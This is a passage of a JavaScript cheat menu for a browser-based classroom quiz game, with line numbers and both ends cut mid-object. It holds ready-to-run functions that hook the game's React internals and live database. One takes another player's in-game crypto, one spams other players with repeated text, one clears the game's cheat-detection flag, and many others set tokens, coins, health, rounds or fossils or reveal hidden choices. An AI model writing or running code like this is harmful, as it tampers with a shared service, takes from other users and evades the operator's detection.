1699 run: function() {
1700 var e = document.createElement("iframe");
1701 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
1702 let t = prompt("Who's crypto would you like to steal?"),
1703 o = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1704 o.props.liveGameController.getDatabaseVal("c", e => {
1705 var a, r;
1706 e && Object.keys(e).map(e => e.toLowerCase()).includes(t.toLowerCase()) && ([a, {
1707 cr: r
1708 }] = Object.entries(e).find(([e]) => e.toLowerCase() == t.toLowerCase()), console.log(!!e, e, a, r, o.state), o.setState({
1709 crypto: o.state.crypto + r,
1710 crypto2: o.state.crypto + r
1711 }), o.props.liveGameController.setVal({
1712 path: "c/".concat(o.props.client.name),
1713 val: {
1714 b: o.props.client.blook,
1715 p: o.state.password,
1716 cr: o.state.crypto + r,
1717 tat: a + ":" + r
1719 }), console.log("done"))
1722 }, {
1723 name: "Send Ad Text",
1724 description: "Sends a load of text to another player (This will override your blook!)",
1725 run: async function() {
1726 var player = window.prompt("Enter the player's name:");
1727 var blook = window.prompt("Enter the text to send:");
1729 let t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1730 t.props.liveGameController.getDatabaseVal("c", a => {
1731 var o;
1732 if (a && Object.keys(a).map(e => e.toLowerCase()).includes(player.toLowerCase())) {
1733 [a, {
1734 cr: o
1735 }] = Object.entries(a).find(([t]) => t.toLowerCase() == player.toLowerCase());
1736 t.setState({
1737 crypto: t.state.crypto + o,
1738 crypto2: t.state.crypto + o
1740 t.props.liveGameController.setVal({
1741 path: "c/".concat(t.props.client.name),
1742 val: {
1743 b: t.props.client.blook,
1744 p: t.state.password,
1745 cr: t.state.crypto + o,
1746 tat: a + ":" + o
1752 let {
1753 props: t2
1754 } = Object.values(function e(t = document.querySelector("body>div")) {
1755 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
1756 }())[1].children[0]._owner.stateNode;
1758 let repeatedText = `Dog:${Array(500).fill(blook).join(' ')}`;
1759 t2.client.blook = repeatedText;
1760 t2.liveGameController.setVal({
1761 path: `c/${t2.client.name}/b`,
1762 val: repeatedText
1766 defense: [{
1767 name: "Earthquake",
1768 description: "Shuffles around towers",
1769 run: function() {
1770 let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,
1771 t = (e.setState({
1772 eventName: "Earthquake",
1773 event: {
1774 short: "e",
1775 color: "#805500",
1776 icon: "fas fa-mountain",
1777 desc: "All of your towers get mixed up",
1778 rate: .02
1780 buyTowerName: "",
1781 buyTower: {}
1782 }, () => e.eventTimeout = setTimeout(() => e.setState({
1783 event: {},
1784 eventName: ""
1785 }), 6e3)), e.tiles.forEach(e => e.forEach((t, o) => 3 === t && (e[o] = 0))), e.tiles.flatMap((e, t) => e.map((e, o) => 0 === e && {
1786 x: o,
1787 y: t
1788 })).filter(Boolean).sort(() => .5 - Math.random()));
1789 e.towers.forEach(o => {
1790 var {
1791 x: a,
1792 y: r
1793 } = t.shift();
1794 o.move(a, r, e.tileSize), e.tiles[r][a] = 3
1797 }, {
1798 name: "Max Tower Stats",
1799 description: "Makes all placed towers overpowered",
1800 run: function() {
1801 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.towers.forEach(e => {
1802 e.range = 100, e.fullCd = e.cd = 0, e.damage = 1e6
1805 }, {
1806 name: "Remove Ducks",
1807 description: "Removes ducks",
1808 run: function() {
1809 let {
1810 ducks: e,
1811 tiles: t
1812 } = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1813 e.forEach(e => {
1814 t[e.y][e.x] = 0
1815 }), e.length = 0
1817 }, {
1818 name: "Remove Enemies",
1819 description: "Removes all the enemies",
1820 run: function() {
1821 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1822 e.enemies = e.futureEnemies = []
1824 }, {
1825 name: "Remove Obstacles",
1826 description: "Lets you place towers anywhere",
1827 run: function() {
1828 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1829 e.tiles = e.tiles.map(e => e.fill(0))
1831 }, {
1832 name: "Set Damage",
1833 description: "Sets damage",
1834 run: function() {
1835 var e = document.createElement("iframe");
1836 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.dmg = Number(parseInt(prompt("How much dmg would you like?")))
1838 }, {
1839 name: "Set Round",
1840 description: "Sets the current round",
1841 run: function() {
1842 var e = document.createElement("iframe");
1843 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1844 round: Number(parseInt(prompt("What round do you want to set to?")))
1847 }, {
1848 name: "Set Tokens",
1849 description: "Sets the amount of tokens you have",
1850 run: function() {
1851 var e = document.createElement("iframe");
1852 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1853 tokens: Number(parseInt(prompt("How many tokens would you like?")))
1857 defense2: [{
1858 name: "Max Tower Stats",
1859 description: "Makes all placed towers overpowered",
1860 run: function() {
1861 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.towers.forEach(e => {
1862 if (e.stats.dmg = 1e6, e.stats.fireRate = 50, e.stats.ghostDetect = !0, e.stats.maxTargets = 1e6, e.stats.numProjectiles &&= 100, e.stats.range = 100, e.stats.auraBuffs)
1863 for (let t in e.stats.auraBuffs) e.stats.auraBuffs[t] *= 100
1866 }, {
1867 name: "Kill Enemies",
1868 description: "Kills all the enemies",
1869 run: function() {
1870 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1871 e.state.game.scene.enemyQueue.length = 0, e.state.game.scene.physics.world.bodies.entries.forEach(e => e?.gameObject?.receiveDamage?.(e.gameObject.hp, 1))
1873 }, {
1874 name: "Set Coins",
1875 description: "Sets coins",
1876 run: function() {
1877 var e = document.createElement("iframe");
1878 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1879 coins: Number(parseInt(prompt("How many tokens would you like?")))
1882 }, {
1883 name: "Set Health",
1884 description: "Sets the amount of health you have",
1885 run: function(e) {
1886 var t = document.createElement("iframe");
1887 document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1888 health: Number(parseInt(prompt("How much health do you want?")))
1891 }, {
1892 name: "Set Round",
1893 description: "Sets the current round",
1894 run: function(e) {
1895 var t = document.createElement("iframe");
1896 document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1897 round: Number(parseInt(prompt("What round do you want to set to?")))
1901 dinos: [{
1902 name: "Auto Choose",
1903 description: "Automatically choose the best fossil when excavating",
1904 type: "toggle",
1905 enabled: false,
1906 data: null,
1907 run: function() {
1908 if (this.enabled) {
1909 this.enabled = false;
1910 clearInterval(this.data);
1911 this.data = null;
1912 } else {
1913 this.enabled = true;
1914 this.data = setInterval(() => {
1915 const cheat = (async () => {
1916 function rand(e, t) {
1917 const s = [];
1918 while (s.length < t) {
1919 const i = Math.random();
1920 let r = 0,
1921 g = null;
1922 for (let o = 0; o < e.length; o++) {
1923 r += e[o].rate;
1924 if (r >= i) {
1925 g = e[o];
1926 break;
1929 g && !s.includes(g) && s.push(g);
1931 return s;
1934 try {
1935 let {
1936 stateNode
1937 } = Object.values((function react(r = document.querySelector("body>div")) {
1938 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
1939 })())[1].children[0]._owner;
1941 if (stateNode.state.stage === "excavate") {
1942 stateNode.state.choices.length || (stateNode.state.choices = rand([{
1943 type: "fossil",
1944 val: 10,
1945 rate: .1,
1946 blook: "Amber"
1949 type: "fossil",
1950 val: 25,
1951 rate: .1,
1952 blook: "Dino Egg"
1955 type: "fossil",
1956 val: 50,
1957 rate: .175,
1958 blook: "Dino Fossil"
1961 type: "fossil",
1962 val: 75,
1963 rate: .175,
1964 blook: "Stegosaurus"
1967 type: "fossil",
1968 val: 100,
1969 rate: .15,
1970 blook: "Velociraptor"
1973 type: "fossil",
1974 val: 125,
1975 rate: .125,
1976 blook: "Brontosaurus"
1979 type: "fossil",
1980 val: 250,
1981 rate: .075,
1982 blook: "Triceratops"
1985 type: "fossil",
1986 val: 500,
1987 rate: .025,
1988 blook: "Tyrannosaurus Rex"
1991 type: "mult",
1992 val: 1.5,
1993 rate: .05
1996 type: "mult",
1997 val: 2,
1998 rate: .025
2000 ], 3));
2002 let max = 0,
2003 index = -1;
2004 for (let i = 0; i < stateNode.state.choices.length; i++) {
2005 const {
2006 type,
2008 } = stateNode.state.choices[i];
2009 const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0;
2010 if (value <= max && type != "mult") continue;
2011 max = value;
2012 index = i + 1;
2015 document.querySelector('div[class*=rockRow] > div[role="button"]:nth-child(' + index + ')').click();
2017 } catch {}
2019 cheat();
2020 }, 50);
2023 }, {
2024 name: "Rock ESP",
2025 description: "Shows what is under the rocks",
2026 type: "toggle",
2027 enabled: !1,
2028 data: null,
2029 run: function() {
2030 let e = ["⁰", "\xb9", "\xb2", "\xb3", "⁴", "⁵", "⁶", "⁷", "⁸", "⁹"],
2031 t = t => {
2032 let a = "";
2033 for (; t > 0;) a = e[t % parseInt("10")] + a, t = ~~(t / 10);
2034 return a
2036 a = e => {
2037 let a = e.toString();
2038 if (e >= 1e3) {
2039 let o = ["", "K", "M", "B", "T"],
2040 r = ~~((digits(e) - 1) / 3);
2041 if (r < o.length) {
2042 let i = "";
2043 for (let n = 3; n >= 1; n--) {
2044 i = parseFloat((0 !== r ? e / 1e3 ** r : e).toPrecision(n)).toString();
2045 let s = i.replace(/[^a-zA-Z 0-9]+/g, "");
2046 if (s.length <= 3) break
2048 Number(i) % 1 != 0 && (i = Number(i).toFixed(1)), a = i + o[r]
2049 } else {
2050 let l = e,
2051 c = 0;
2052 for (; l >= 100;) l = Math.floor(l / 10), c += 1;
2053 a = `${l/10} \xd7 10${t(c+1)}`
2056 return a
2058 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
2059 let {
2060 stateNode: e
2061 } = Object.values(function e(t = document.querySelector("body>div")) {
2062 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
2063 }())[1].children[0]._owner, t = [...document.querySelector('[class*="rockButton"]').parentElement.children];
2064 t.every(e => e.querySelector("div")) || e.setState({
2065 choices: [{
2066 type: "fossil",
2067 val: 10,
2068 rate: .1,
2069 blook: "Amber"
2070 }, {
2071 type: "fossil",
2072 val: 25,
2073 rate: .1,
2074 blook: "Dino Egg"
2075 }, {
2076 type: "fossil",
2077 val: 50,
2078 rate: .175,
2079 blook: "Dino Fossil"
2080 }, {
2081 type: "fossil",
2082 val: 75,
2083 rate: .175,
2084 blook: "Stegosaurus"
2085 }, {
2086 type: "fossil",
2087 val: 100,
2088 rate: .15,
2089 blook: "Velociraptor"
2090 }, {
2091 type: "fossil",
2092 val: 125,
2093 rate: .125,
2094 blook: "Brontosaurus"
2095 }, {
2096 type: "fossil",
2097 val: 250,
2098 rate: .075,
2099 blook: "Triceratops"
2100 }, {
2101 type: "fossil",
2102 val: 500,
2103 rate: .025,
2104 blook: "Tyrannosaurus Rex"
2105 }, {
2106 type: "mult",
2107 val: 1.5,
2108 rate: .05
2109 }, {
2110 type: "mult",
2111 val: 2,
2112 rate: .025
2113 }].sort(() => .5 - Math.random()).slice(0, 3)
2114 }, () => {
2115 t.forEach((t, o) => {
2116 let r = e.state.choices[o];
2117 t.querySelector("div") && t.querySelector("div").remove();
2118 let i = document.createElement("div");
2119 i.style.color = "white", i.style.fontFamily = "Macondo", i.style.fontSize = "1em", i.style.display = "flex", i.style.justifyContent = "center", i.style.transform = "translateY(25px)", i.innerText = "fossil" === r.type ? `+${Math.round(r.val*e.state.fossilMult)>99999999?a(Math.round(r.val*e.state.fossilMult)):Math.round(r.val*e.state.fossilMult)} Fossils` : `x${r.val} Fossils Per Excavation`, t.append(i)
2122 }, 50))
2124 }, {
2125 name: "Set Fossils",
2126 description: "Sets the amount of fossils you have",
2127 run: function() {
2128 var e = document.createElement("iframe"),
2129 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many fossils would you like?")))),
2130 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
2131 t.setState({
2132 fossils: e
2133 }), t.props.liveGameController.setVal({
2134 path: "c/" + t.props.client.name,
2135 val: {
2136 b: t.props.client.blook,
2137 f: e,
2138 ic: t.state.isCheating
2142 }, {
2143 name: "Set Multiplier",
2144 description: "Sets fossil multiplier",
2145 run: function() {
2146 var e = document.createElement("iframe"),
2147 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("What do you want your multiplier to be?"))));
2148 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
2149 fossilMult: e
2152 }, {
2153 name: "Stop Cheating",
2154 description: "Undoes cheating so that you can't be caught",
2155 run: function() {
2156 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
2157 e.setState({
2158 isCheating: !1
2159 }), e.props.liveGameController.setVal({
2160 path: `c/${e.props.client.name}/ic`,
2161 val: !1
2165 doom: [{
2166 name: "Fill Deck",
2167 description: "Fills your deck with every maxed out card and artifact (Only works on towers page)",
2168 run: function() {
2169 let e = document.createElement("iframe");
2170 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/map" == window.location.pathname) {
2171 let {
2172 stateNode: t
2173 } = Object.values(function e(t = document.querySelector("body>div")) {
2174 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
2175 }())[1].children[0]._owner;
2176 t.props.tower.artifacts = "Medical Kit|Fury Relic|Survival Guide|Steel Socks|Piggy Bank|Lucky Feather|Coupon|Cheese|Tasty Egg|Training Weights|Mighty Shield|Toxic Waste|Lifeline Totem|Cursed Hourglass|Band-Aid|Elder Coins|Captain's Anchor|Chess Pieces|Pink Hippo|Anorak's Wizard Cap|Dave's Doggo|Anubis' Obelisk|Farm Tractor|Magic Seedling|Just A Bone|Cozy Igloo|King's Crown|Sacred Scroll".split("|"), t.props.tower.cards = "Chick,\uD83C\uDF3D|Chicken,\uD83C\uDF3D|Cow,\uD83C\uDF3D|Goat,\uD83C\uDF3D|Horse,\uD83C\uDF3D|Pig,\uD83C\uDF3D|Sheep,\uD83C\uDF3D|Duck,\uD83C\uDF3D|Dog,\uD83C\uDF3D|Cat,\uD83D\uDC3E|Rabbit,\uD83D\uDC3E|Goldfish,\uD83D\uDC3E|Hamster,\uD83D\uDC3E|Turtle,\uD83D\uDC3E|Kitten,\uD83D\uDC3E|Puppy,\uD83D\uDC3E|Bear,\uD83C\uDF32|Moose,\uD83C\uDF32|Fox,\uD83C\uDF32|Raccoon,\uD83C\uDF32|Squirrel,\uD83C\uDF32|Owl,\uD83C\uDF32|Hedgehog,\uD83C\uDF32|Baby Penguin,❄️|Penguin,❄️|Arctic Fox,❄️|Snowy Owl,❄️|Polar Bear,❄️|Arctic Hare,❄️|Seal,❄️|Walrus,❄️|Tiger,\uD83C\uDF34|Panther,\uD83C\uDF34|Cockatoo,\uD83C\uDF34|Orangutan,\uD83C\uDF34|Anaconda,\uD83C\uDF34|Macaw,\uD83C\uDF34|Jaguar,\uD83C\uDF34|Capuchin,\uD83C\uDF34|Toucan,\uD83C\uDF34|Parrot,\uD83C\uDF34|Elf,⚔️|Witch,⚔️|Wizard,⚔️|Fairy,⚔️|Slime Monster,⚔️|Jester,⚔️|Dragon,⚔️|Unicorn,⚔️|Queen,⚔️|King,⚔️|Snow Globe,☃️|Holiday Gift,☃️|Hot Chocolate,☃️|Gingerbread Man,☃️|Gingerbread House,☃️|Holiday Wreath,☃️|Snowman,☃️|Santa Claus,☃️|Two of Spades,\uD83C\uDFF0|Eat Me,\uD83C\uDFF0|Drink Me,\uD83C\uDFF0|Alice,\uD83C\uDFF0|Queen of Hearts,\uD83C\uDFF0|Dormouse,\uD83C\uDFF0|White Rabbit,\uD83C\uDFF0|Cheshire Cat,\uD83C\uDFF0|Caterpillar,\uD83C\uDFF0|Mad Hatter,\uD83C\uDFF0|King of Hearts,\uD83C\uDFF0".split("|").map(e => {
2177 let [t, o] = e.split(",");
2178 return {
2179 strength: 20,
2180 charisma: 20,
2181 wisdom: 20,
2182 class: o,
2183 blook: t
2186 try {
2187 t.props.addTowerNode()
2188 } catch {}
2189 t.setState({
2190 showDeck: !1
2192 } else alert("You need to be on the map to run this cheat!")
2194 }, {
2195 name: "Max Cards",
2196 description: "Maxes out all the cards in your deck",
2197 run: function() {
2198 var e = document.createElement("iframe");
2199 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/map" == window.location.pathname ? (e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).props.tower.cards.forEach(e => {
2200 e.strength = 20, e.charisma = 20, e.wisdom = 20
2201 }) : alert("You need to be on the map to run this cheat!")
2203 }, {
2204 name: "Max Health",
2205 description: "Fills the player's health",
2206 run: function() {
2207 var e = document.createElement("iframe");
2208 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/battle" == window.location.pathname ? Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
2209 myHealth: 100
2210 }) : alert("You need to be in battle to run this cheat!")
2212 }, {
2213 name: "Max Card Stats",
2214 description: "Maxes out player's current card (Only works on attribute select page)",
2215 run: function() {
2216 var e = document.createElement("iframe"),
2217 e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode;
2218 "select" !== e.state.phase ? alert("You must be on the attribute selection page!") : e.setState({
2219 myCard: {
2220 ...e.state.myCard,
2221 strength: 20,
2222 charisma: 20,
2223 wisdom: 20
2227 }, {
2228 name: "Min Enemy Stats",
2229 description: "Makes the enemy card stats all 0 (Only works on attribute select page)",
2230 run: function() {
2231 var e = document.createElement("iframe"),
2232 e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode;
2233 "select" !== e.state.phase ? alert("You must be on the attribute selection page!") : e.setState({
2234 enemyCard: {
2235 ...e.state.enemyCard,
2236 strength: 0,
2237 charisma: 0,
2238 wisdom: 0
2242 }, {
2243 name: "Set Coins",
2244 description: "Try's to set amount of tower coins you have",
2245 run: function() {
2246 var e = document.createElement("iframe");
2247 if (document.body.append(e), window.alert = e.contentWindow.prompt.bind(window), e.remove(), "/tower/battle" == window.location.pathname) {
2248 var e = parseInt("0" + alert("How many coins would you like?")),
2249 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
2250 try {
2251 t.props.setTowerCoins(e)
2252 } catch {}
2253 } else alert("You need to be in battle to run this cheat!")
2256 factory: [{
2257 name: "Choose Blook",
2258 description: "Gives you a blook",
2259 run: function() {
2260 let e = document.createElement("iframe");
2261 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
2262 let {
2263 stateNode: t
2264 } = Object.values(function e(t = document.querySelector("body>div")) {
2265 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
2266 }())[1].children[0]._owner, o = [{
2267 name: "Chick",
2268 color: "#ffcd05",
2269 class: "\uD83C\uDF3D",
2270 rarity: "Common",
2271 cash: [3, 7, 65, 400, 2500],
2272 time: [1, 1, 1, 1, 1],
2273 price: [300, 3e3, 3e4, 2e5]
2274 }, {
2275 name: "Chicken",
2276 color: "#ed1c24",
2277 class: "\uD83C\uDF3D",
2278 rarity: "Common",
2279 cash: [10, 40, 200, 1400, 1e4],
2280 time: [5, 4, 3, 2, 1],
2281 price: [570, 4e3, 5e4, 8e5]
2282 }, {
2283 name: "Cow",
2284 color: "#58595b",
2285 class: "\uD83C\uDF3D",
2286 rarity: "Common",
2287 cash: [25, 75, 1500, 25e3, 25e4],
2288 time: [15, 10, 10, 10, 5],
2289 price: [500, 9500, 16e4, 4e6]
2290 }, {
2291 name: "Duck",
2292 color: "#4ab96d",
2293 class: "\uD83C\uDF3D",
2294 rarity: "Common",
2295 cash: [4, 24, 200, 3e3, 4e4],
2296 time: [3, 3, 3, 3, 3],
2297 price: [450, 4200, 7e4, 11e5]
2298 }, {
2299 name: "Goat",
2300 color: "#c59a74",
2301 class: "\uD83C\uDF3D",
2302 rarity: "Common",
2303 cash: [5, 28, 200, 1300, 12e3],
2304 time: [3, 3, 2, 2, 2],
2305 price: [500, 6400, 45e3, 5e5]
2306 }, {
2307 name: "Horse",
2308 color: "#995b3c",
2309 class: "\uD83C\uDF3D",
2310 rarity: "Common",
2311 cash: [5, 20, 270, 1800, 15e3],
2312 time: [2, 2, 2, 2, 2],
2313 price: [550, 8200, 65e3, 6e5]
2314 }, {
2315 name: "Pig",
2316 color: "#f6a9cb",
2317 class: "\uD83C\uDF3D",
2318 rarity: "Common",
2319 cash: [20, 50, 1300, 8e3, 8e4],
2320 time: [7, 7, 7, 7, 5],
2321 price: [400, 11e3, 8e4, 13e5]
2322 }, {
2323 name: "Sheep",
2324 color: "#414042",
2325 class: "\uD83C\uDF3D",
2326 rarity: "Common",
2327 cash: [6, 25, 250, 1500, 11e3],
2328 time: [3, 3, 3, 2, 2],
2329 price: [500, 5e3, 5e4, 43e4]
2330 }, {
2331 name: "Cat",
2332 color: "#f49849",
2333 class: "\uD83D\uDC3E",
2334 rarity: "Common",
2335 cash: [5, 18, 170, 1700, 13e3],
2336 time: [2, 2, 2, 2, 2],
2337 price: [480, 5500, 6e4, 5e5]
2338 }, {
2339 name: "Dog",
2340 color: "#995b3c",
2341 class: "\uD83D\uDC3E",
2342 rarity: "Common",
2343 cash: [7, 25, 220, 1900, 9e3],
2344 time: [3, 3, 2, 2, 1],
2345 price: [460, 6600, 7e4, 73e4]
2346 }, {
2347 name: "Goldfish",
2348 color: "#f18221",
2349 class: "\uD83D\uDC3E",
2350 rarity: "Common",
2351 cash: [5, 40, 350, 3500, 35e3],
2352 time: [3, 3, 3, 3, 3],
2353 price: [750, 7200, 84e3, 95e4]
2354 }, {
2355 name: "Rabbit",
2356 color: "#e7bf9a",
2357 class: "\uD83D\uDC3E",
2358 rarity: "Common",
2359 cash: [3, 18, 185, 800, 7e3],
2360 time: [2, 2, 2, 1, 1],
2361 price: [500, 5800, 56e3, 55e4]
2362 }, {
2363 name: "Hamster",
2364 color: "#ce9176",
2365 class: "\uD83D\uDC3E",
2366 rarity: "Common",
2367 cash: [10, 45, 450, 4500, 45e3],
2368 time: [4, 4, 4, 4, 4],
2369 price: [650, 6500, 8e4, 93e4]
2370 }, {
2371 name: "Turtle",
2372 color: "#619a3c",
2373 class: "\uD83D\uDC3E",
2374 rarity: "Common",
2375 cash: [23, 120, 1400, 15e3, 17e4],
2376 time: [10, 10, 10, 10, 10],
2377 price: [700, 8500, 11e4, 13e5]
2378 }, {
2379 name: "Puppy",
2380 color: "#414042",
2381 class: "\uD83D\uDC3E",
2382 rarity: "Common",
2383 cash: [4, 10, 75, 500, 3e3],
2384 time: [1, 1, 1, 1, 1],
2385 price: [450, 4e3, 35e3, 25e4]
2386 }, {
2387 name: "Kitten",
2388 color: "#58595b",
2389 class: "\uD83D\uDC3E",
2390 rarity: "Common",
2391 cash: [4, 8, 60, 400, 2e3],
2392 time: [1, 1, 1, 1, 1],
2393 price: [350, 3500, 26e3, 17e4]
2394 }, {
2395 name: "Bear",
2396 color: "#995b3c",
2397 class: "\uD83C\uDF32",
2398 rarity: "Common",
2399 cash: [12, 70, 550, 4500, 1e5],
2400 time: [7, 7, 6, 5, 5],
2401 price: [550, 5500, 63e3, 16e5]
2402 }, {
2403 name: "Moose",
2404 color: "#995b3c",
2405 class: "\uD83C\uDF32",
2406 rarity: "Common",
2407 cash: [8, 45, 400, 3500, 26e3],
2408 time: [5, 5, 4, 4, 3],
2409 price: [520, 6500, 58e3, 7e5]
2410 }, {
2411 name: "Fox",
2412 color: "#f49849",
2413 class: "\uD83C\uDF32",
2414 rarity: "Common",
2415 cash: [7, 15, 80, 550, 3e3],
2416 time: [2, 2, 1, 1, 1],
2417 price: [400, 4e3, 36e3, 24e4]
2418 }, {
2419 name: "Raccoon",
2420 color: "#6d6e71",
2421 class: "\uD83C\uDF32",
2422 rarity: "Common",
2423 cash: [5, 14, 185, 1900, 19e3],
2424 time: [2, 2, 2, 2, 2],
2425 price: [400, 5e3, 71e3, 8e5]
2426 }, {
2427 name: "Squirrel",
2428 color: "#d25927",
2429 class: "\uD83C\uDF32",
2430 rarity: "Common",
2431 cash: [3, 10, 65, 470, 2600],
2432 time: [1, 1, 1, 1, 1],
2433 price: [420, 3600, 32e3, 21e4]
2434 }, {
2435 name: "Owl",
2436 color: "#594a42",
2437 class: "\uD83C\uDF32",
2438 rarity: "Common",
2439 cash: [4, 17, 155, 1500, 15e3],
2440 time: [2, 2, 2, 2, 2],
2441 price: [500, 4800, 55e3, 58e4]
2442 }, {
2443 name: "Hedgehog",
2444 color: "#3f312b",
2445 class: "\uD83C\uDF32",
2446 rarity: "Common",
2447 cash: [11, 37, 340, 2200, 3e4],
2448 time: [5, 4, 3, 2, 2],
2449 price: [540, 7e3, 77e3, 12e5]
2450 }, {
2451 name: "Seal",
2452 color: "#7ca1d5",
2453 class: "❄️",
2454 rarity: "Common",
2455 cash: [6, 17, 150, 1200, 13e3],
2456 time: [2, 2, 2, 2, 2],
2457 price: [480, 4500, 43e3, 52e4]
2458 }, {
2459 name: "Arctic Fox",
2460 color: "#7ca1d5",
2461 class: "❄️",
2462 rarity: "Common",
2463 cash: [5, 18, 180, 850, 8500],
2464 time: [2, 2, 2, 1, 1],
2465 price: [520, 550, 61e3, 68e4]
2466 }, {
2467 name: "Snowy Owl",
2468 color: "#feda3f",
2469 class: "❄️",
2470 rarity: "Common",
2471 cash: [5, 20, 190, 1900, 16e3],
2472 time: [3, 3, 2, 2, 2],
2473 price: [370, 5300, 76e3, 62e4]
2474 }, {
2475 name: "Arctic Hare",
2476 color: "#7ca1d5",
2477 class: "❄️",
2478 rarity: "Common",
2479 cash: [6, 19, 85, 900, 7e3],
2480 time: [2, 2, 1, 1, 1],
2481 price: [540, 5200, 66e3, 55e4]
2482 }, {
2483 name: "Penguin",
2484 color: "#fb8640",
2485 class: "❄️",
2486 rarity: "Common",
2487 cash: [4, 21, 310, 3200, 33e3],
2488 time: [3, 3, 3, 3, 3],
2489 price: [400, 6500, 76e3, 87e4]
2490 }, {
2491 name: "Baby Penguin",
2492 color: "#414042",
2493 class: "❄️",
2494 rarity: "Common",
2495 cash: [3, 8, 70, 450, 2700],
2496 time: [1, 1, 1, 1, 1],
2497 price: [420, 3300, 33e3, 23e4]
2498 }, {
2499 name: "Polar Bear",
2500 color: "#7ca1d5",
2501 class: "❄️",
2502 rarity: "Common",
2503 cash: [12, 75, 700, 6500, 85e3],
2504 time: [8, 7, 6, 5, 5],
2505 price: [630, 7e3, 91e3, 14e5]
2506 }, {
2507 name: "Walrus",
2508 color: "#7d4f33",
2509 class: "❄️",
2510 rarity: "Common",
2511 cash: [11, 46, 420, 3700, 51e3],
2512 time: [5, 5, 4, 4, 4],
2513 price: [550, 6200, 68e3, 1e6]
2514 }, {
2515 name: "Tiger",
2516 color: "#f18221",
2517 class: "\uD83C\uDF34",
2518 rarity: "Common",
2519 cash: [6, 20, 100, 975, 7500],
2520 time: [3, 3, 1, 1, 1],
2521 price: [390, 6e3, 7e4, 61e4]
2522 }, {
2523 name: "Jaguar",
2524 color: "#fbb040",
2525 class: "\uD83C\uDF34",
2526 rarity: "Common",
2527 cash: [8, 28, 230, 1600, 17e3],
2528 time: [3, 3, 2, 2, 2],
2529 price: [390, 6e3, 7e4, 61e4]
2530 }, {
2531 name: "Toucan",
2532 color: "#ffca34",
2533 class: "\uD83C\uDF34",
2534 rarity: "Common",
2535 cash: [9, 20, 175, 625, 3800],
2536 time: [2, 2, 2, 1, 1],
2537 price: [520, 4800, 42e3, 3e5]
2538 }, {
2539 name: "Cockatoo",
2540 color: "#7ca1d5",
2541 class: "\uD83C\uDF34",
2542 rarity: "Common",
2543 cash: [6, 35, 160, 1700, 18e3],
2544 time: [4, 4, 2, 2, 2],
2545 price: [500, 5e3, 63e3, 7e5]
2546 }, {
2547 name: "Macaw",
2548 color: "#00aeef",
2549 class: "\uD83C\uDF34",
2550 rarity: "Common",
2551 cash: [3, 8, 85, 850, 8500],
2552 time: [1, 1, 1, 1, 1],
2553 price: [480, 5400, 62e3, 63e4]
2554 }, {
2555 name: "Parrot",
2556 color: "#ed1c24",
2557 class: "\uD83C\uDF34",
2558 rarity: "Common",
2559 cash: [3, 9, 90, 900, 9e3],
2560 time: [1, 1, 1, 1, 1],
2561 price: [540, 5700, 65e3, 69e4]
2562 }, {
2563 name: "Panther",
2564 color: "#2f2c38",
